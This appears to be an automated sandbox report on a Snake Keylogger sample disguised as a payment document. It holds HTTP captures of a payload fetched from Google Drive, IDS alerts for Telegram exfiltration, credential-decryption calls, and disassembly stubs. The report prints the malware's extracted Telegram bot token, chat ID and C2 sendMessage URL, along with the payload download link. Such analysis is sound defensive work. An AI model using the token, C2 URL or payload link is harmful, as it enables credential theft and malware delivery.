Feb 21, 2025 08:29:44.739655972 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 07:29:44 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fe9853b14335374ef556758401f55f17 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49987	142.250.186.174	443	3892	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 07:29:31 UTC	216	OUT	GET /uc?export=download&id=18Kyx2LntnZpiKsTwYTgdWT8PutIhm-KW HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache
2025-02-21 07:29:31 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 21 Feb 2025 07:29:31 GMT Location: https://drive.usercontent.google.com/download?id=18Kyx2LntnZpiKsTwYTgdWT8PutIhm-KW&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-9UKvbRfWVsWa0JQ1G490nQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49988	142.250.185.161	443	3892	C:\Users\user\Desktop\Swift Copy_19.02.2025.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-21 07:29:32 UTC	258	OUT	GET /download?id=18Kyx2LntnZpiKsTwYTgdWT8PutIhm-KW&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-02-21 07:29:34 UTC	5015	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AHMx-iHGRrd0aihJ_uGEuQiu1CuX8GtJoulO6lC-7bLCMm8YVXdP5zjcl60rK4KTqH8qDVdQiQOETiM Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="nMDUz119.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 278080 Last-Modified: Wed, 19 Feb 2025 10:57:09 GMT Date: Fri, 21 Feb 2025 07:29:34 GMT Expires: Fri, 21 Feb 2025 07:29:34 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=9R8Imw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-02-21 07:29:34 UTC	5015	IN	Data Raw: 1d b0 79 35 df fc 27 19 1a 1e 8d 5a 15 14 b1 0b e4 52 70 7a 6b ab 4f 4f a3 2b ee c7 56 16 cf 20 51 ca 23 23 5a fc 52 de 7a e5 40 c8 d2 34 b5 d1 81 eb db 74 c3 a8 fe 7e 90 1e e1 58 88 ff 9e 8a 72 89 70 86 e5 f4 c4 8a bc db 0f 1e a6 7c 79 00 7a 2f be da b9 b3 24 ce 25 a4 bd 04 a5 78 35 1d 66 31 d7 26 bf 0e 3a 70 04 a8 4f 78 af 5c 95 77 55 6d b2 17 51 3d 7d d2 ee 51 d3 b8 10 9b 7f 65 bc 41 a9 e1 76 2d 54 c3 41 2f 85 1c a4 8c 0b 26 f5 f8 e1 0f 7e d2 4e e8 fd 29 1c 07 c5 d2 91 31 2f a1 c4 86 b0 b0 5e 5e 4a b2 63 f3 24 c0 0c 9d 6b 6d 76 9f c9 fc 34 eb 57 f1 c9 a1 9b 46 cb 11 5e 88 15 0a 6b fb 28 f3 05 61 db d4 2c ce a3 c3 df 7c 6b 80 19 a8 09 3c 0f d1 7b a9 8c c6 0f 30 3c 5e 43 b0 8d f8 73 41 6d 9c 4b b0 3b e2 ca d3 d2 50 af 56 00 20 f2 88 b8 cc b5 9a 67 73 09 Data Ascii: y5'ZRpzkOO+V Q##ZRz@4t~Xrp\|yz/$%x5f1&:pOx\wUmQ=}QeAv-TA/&~N)1/^^Jc$kmv4WF^k(a,\|k<{0<^CsAmK;PV gs
2025-02-21 07:29:34 UTC	4668	IN	Data Raw: 1e c3 bf 1a 57 e3 d7 e5 37 05 84 b3 14 87 a3 63 22 0d 8b 70 0f 1f bb f4 7d 19 cf 9c c0 95 b9 66 09 68 a5 48 48 3c 07 53 09 85 b7 c8 2c 5c 38 48 6b 41 2a 1b c9 e2 17 bd bd aa 9c dd a0 de 3e 2b f5 7c f3 f3 2f 58 9a 49 cd c0 26 f3 da 4a 07 6e cd 2f 4f 10 27 b6 3a bb 1c 2a 4c b9 ab d1 0f 08 a5 1e fe b2 6e 16 a5 40 8e af 6f 9d e9 8e 18 04 31 91 52 b4 39 ac 69 92 af 3b ba fe f3 f6 3c 42 30 3a 6b f6 a3 42 50 80 82 db d4 af fc c3 9c 84 44 d9 56 85 e9 9b 33 a2 e3 40 15 48 49 3c 72 82 4f 7e 9a d0 46 89 29 80 fb 76 cc 53 c4 b8 b1 93 3c fe ed 36 32 0c fe ee 66 a2 58 55 bb 9a 99 0c 65 0f a7 11 09 2c ca 7d 5e 2e f7 e6 66 26 d9 77 b2 36 f4 37 56 72 c2 9b cf 7d 90 b9 0b 77 f5 2a 98 08 67 88 61 36 44 89 63 51 6d dd 10 3b bc 0f 89 a9 2a e6 b7 da e0 d2 26 9a 8a 6d 26 c0 3f Data Ascii: W7c"p}fhHH<S,\8HkA>+\|/XI&Jn/O':Ln@o1R9i;<B0:kBPDV3@HI<rO~F)vS<62fXUe,}^.f&w67Vr}wga6DcQm;&m&?
2025-02-21 07:29:34 UTC	1390	IN	Data Raw: 5e 61 ad 5d 86 c6 3f 4e be 90 c9 27 54 7a 7e 83 13 65 90 dd ca 8c f0 8c f0 71 84 fd 96 8f ee 03 7f 37 d2 78 e8 3e e7 43 35 32 93 e5 e2 9f b4 a7 2e f1 3e 34 70 eb 90 d2 b8 83 5a b7 cd f8 b2 23 2c 2e d2 b9 4c 96 b5 13 0f 01 38 72 e8 cd ad 42 55 a8 2e b4 b6 9d a9 8a 7a 58 32 e3 15 17 96 ab d0 a7 54 09 69 71 0e 0b 34 0a 17 90 54 6c a5 34 29 4e 8d 3a 62 ce 73 82 e1 49 d1 5a 8d fb 02 36 da 9d e7 fb db 41 e0 fc b5 3d b5 33 17 b4 a1 7f 9c 68 06 80 52 b0 19 74 db de 66 d1 dd 60 91 75 aa 7a 74 06 12 8b ef 4d a9 57 4c 8b f9 2d 04 3f c0 2f 95 65 9b 34 98 e6 bb a8 6c 52 bf aa 44 27 c6 cb f1 21 05 93 55 70 17 fd af ec a6 41 a4 76 37 2d 50 36 72 5f 87 be ad 88 db 8b 02 59 9f 4c 9f e9 e6 48 25 0f 9f 26 48 49 ac f0 0e 2b aa d6 1a dc b9 2e 32 54 81 14 ec 09 5b 84 e2 b4 57 Data Ascii: ^a]?N'Tz~eq7x>C52.>4pZ#,.L8rBU.zX2Tiq4Tl4)N:bsIZ6A=3hRtf`uztMWL-?/e4lRD'!UpAv7-P6r_YLH%&HI+.2T[W
2025-02-21 07:29:34 UTC	1390	IN	Data Raw: ff 16 ba 6d 56 aa ab cb 63 67 b6 a8 3a 55 ef 4f 76 14 9e 3e 0d 75 be f9 67 83 89 f7 97 2b 09 ae a4 48 31 bb d1 29 31 95 0d 18 14 60 14 d4 fc 2e ff 29 84 4e 6e 70 2b 15 5f 9f 23 5c 01 e7 17 95 5d 14 0b ea 1f 6a bc 17 c2 46 eb c0 5b 58 b5 00 94 fb bc 26 8f 9d d1 7a 4d 37 3c ed 1c bc 02 92 1f 4f 71 1c 2f cc 4b 5a 45 37 4b 11 62 6c 49 e1 b5 41 28 60 f4 01 bd 0c 55 57 f9 17 e2 1f 8c d1 9e 87 ae 2c 5f 27 37 46 f7 ba e5 a7 5e 57 25 27 82 cc e9 4b df 77 3f 10 79 db dc e8 b3 20 35 72 0f c6 12 58 6c 7a 1c fe 19 e4 6f 8e 4b 13 2d d4 7f 40 50 bc 47 5e c6 96 f6 ad 67 53 15 dc 41 7c 7a bb fc d8 63 64 f6 12 38 87 d8 31 57 d7 28 b6 d0 30 f4 5e 4c fd 7f 58 5b 3d 4c ea 78 31 06 a2 1b f3 04 ec dd 3e 00 7b c4 d9 5c 7f 9b 45 6b 16 ce 0b 0c 77 73 56 42 c4 da 7d 85 f1 0a 4e 35 Data Ascii: mVcg:UOv>ug+H1)1`.)Nnp+_#\]jF[X&zM7<Oq/KZE7KblIA(`UW,_'7F^W%'Kw?y 5rXlzoK-@PG^gSA\|zcd81W(0^LX[=Lx1>{\EkwsVB}N5
2025-02-21 07:29:34 UTC	1390	IN	Data Raw: 1e a9 9d e2 bf 90 39 36 c2 87 ec 02 6e ed 7e 08 9b 6a 3e 02 1f 1c 9b 09 01 94 f9 4f 7b 46 27 40 a8 a6 8e 98 2a 4e 3d 32 d6 54 f0 10 9b a5 fd 09 b0 aa 96 db 83 62 c3 db 4c 9a b5 78 9a f9 67 d2 9d ae c5 93 29 38 1e cd 5f bd 01 91 e5 40 4b cb 21 45 52 dc 3e 3d 81 b2 bd 5a 02 48 18 91 54 38 a6 65 7b 9b ea 4a 9c b2 43 03 2c c3 82 af 92 21 2f fa 0c 28 a9 5a 97 2f 54 12 96 fe 05 db ef 26 03 8a 12 70 d2 43 45 0e d3 fa 71 0b 7c cb 4d 48 b9 34 72 aa c4 27 cf 88 d7 84 d7 b9 a2 7c 0c 3b b6 d2 3b 60 51 78 02 fd 7b 74 df 1c 39 c0 1c 15 53 05 97 fc 9e 6a 1e 5f 32 51 a0 45 a2 ad 6e 9b 7c 9b 02 bf 59 90 f6 04

Source: 00000006.00000002.4025753098.0000000034871000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7868872251:AAGgFQ9Bkl4sqj91n2vPKSuoyNLVzJTqODY", "Chat_id": "8173633564", "Version": "4.4"}
Source: Swift Copy_19.02.2025.exe.3892.6.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7868872251:AAGgFQ9Bkl4sqj91n2vPKSuoyNLVzJTqODY/sendMessage"}

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A38790 CryptUnprotectData,		6_2_36A38790
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 6_2_36A38EF1 CryptUnprotectData,		6_2_36A38EF1

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:50001 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.6:49999 -> 149.154.167.220:443

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 104.21.112.1 104.21.112.1
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Swift Copy_19.02.2025.exe	Virustotal: Detection: 52%			Perma Link
Source: Swift Copy_19.02.2025.exe	ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 03F7F45Dh	6_2_03F7F2C0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 03F7F45Dh	6_2_03F7F4AC
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 03F7FC19h	6_2_03F7F961
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A12D41h	6_2_36A12A90
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A13308h	6_2_36A12EF0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A10D0Dh	6_2_36A10B30
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A116F8h	6_2_36A10B30
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A13308h	6_2_36A12EEA
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1DD71h	6_2_36A1DAC8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A13308h	6_2_36A13236
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1D4C1h	6_2_36A1D218
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1D919h	6_2_36A1D670
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1EA79h	6_2_36A1E7D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1E1C9h	6_2_36A1DF20
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1E621h	6_2_36A1E378
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1F329h	6_2_36A1F080
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1F781h	6_2_36A1F4D8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1EED1h	6_2_36A1EC28
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_36A10040
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1D069h	6_2_36A1CDC0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A1FBD9h	6_2_36A1F930
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A32151h	6_2_36A31EA8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A39280h	6_2_36A38FB0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A37EB5h	6_2_36A37B78
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3D14Eh	6_2_36A3CE80
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A37571h	6_2_36A372C8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A35179h	6_2_36A34ED0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A348C9h	6_2_36A34620
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A36CC1h	6_2_36A36A18
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3F13Eh	6_2_36A3EE70
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A37119h	6_2_36A36E70
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A34D21h	6_2_36A34A78
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A31CF9h	6_2_36A31A50
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3DA6Eh	6_2_36A3D7A0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3BA7Eh	6_2_36A3B7B0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A32E59h	6_2_36A32BB0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A35A29h	6_2_36A35780
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3FA5Eh	6_2_36A3F790
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A35E81h	6_2_36A35BD8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A379C9h	6_2_36A37720
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3B5EEh	6_2_36A3B320
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A355D1h	6_2_36A35328
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3F5CEh	6_2_36A3F300
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A325A9h	6_2_36A32300
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3D5DEh	6_2_36A3D310
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A32A01h	6_2_36A32758
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then mov esp, ebp	6_2_36A3B089
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A36733h	6_2_36A36488
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A30741h	6_2_36A30498
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A30B99h	6_2_36A308F0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3E38Eh	6_2_36A3E0C0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3C39Eh	6_2_36A3C0D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3DEFEh	6_2_36A3DC30
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A362D9h	6_2_36A36030
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A332B1h	6_2_36A33008
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A33709h	6_2_36A33460
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A302E9h	6_2_36A30040
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3BF0Eh	6_2_36A3BC40
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A31449h	6_2_36A311A0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3ECAEh	6_2_36A3E9E0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3CCBEh	6_2_36A3C9F0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A318A1h	6_2_36A315F8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3C82Eh	6_2_36A3C560
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A30FF1h	6_2_36A30D48
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 36A3E81Eh	6_2_36A3E550
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37786970h	6_2_37786678
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37786347h	6_2_37785FD8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37784746h	6_2_37784478
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778D768h	6_2_3778D470
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778AC60h	6_2_3778A968
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37780C2Eh	6_2_37780960
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37788158h	6_2_37787E60
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37783E26h	6_2_37783B58
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778EF50h	6_2_3778EC58
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778C448h	6_2_3778C150
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37785E16h	6_2_37785B48
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37789940h	6_2_37789648
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778030Eh	6_2_37780040
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37786E38h	6_2_37786B40
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37783506h	6_2_37783238
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778DC30h	6_2_3778D938
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778B128h	6_2_3778AE30
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377854F6h	6_2_37785228
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37788620h	6_2_37788328
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778F418h	6_2_3778F120
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37782BE6h	6_2_37782918
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778C910h	6_2_3778C618
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377819DEh	6_2_37781710
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37789E08h	6_2_37789B10
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37784BD7h	6_2_37784908
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37787300h	6_2_37787008
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778E0F8h	6_2_3778DE00
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377822C6h	6_2_37781FF8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778B5F0h	6_2_3778B2F8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377810BEh	6_2_37780DF0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37788AE8h	6_2_377887F0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377842B6h	6_2_37783FE8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778F8E0h	6_2_3778F5E8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778CDD8h	6_2_3778CAE0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778A2D0h	6_2_37789FD8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778079Eh	6_2_377804D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 377877C8h	6_2_377874D0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37783996h	6_2_377836C8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778E5C0h	6_2_3778E2C8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778BAB8h	6_2_3778B7C0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37785986h	6_2_377856B8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37788FB0h	6_2_37788CB8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778FDA8h	6_2_3778FAB0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37783076h	6_2_37782DA8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778D2A0h	6_2_3778CFA8
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37781E47h	6_2_37781BA0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778A798h	6_2_3778A4A0
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37785066h	6_2_37784D98
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37787C90h	6_2_37787998
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778EA88h	6_2_3778E790
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 37782756h	6_2_37782488
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778BF80h	6_2_3778BC88
Source: C:\Users\user\Desktop\Swift Copy_19.02.2025.exe	Code function: 4x nop then jmp 3778154Eh	6_2_37781280
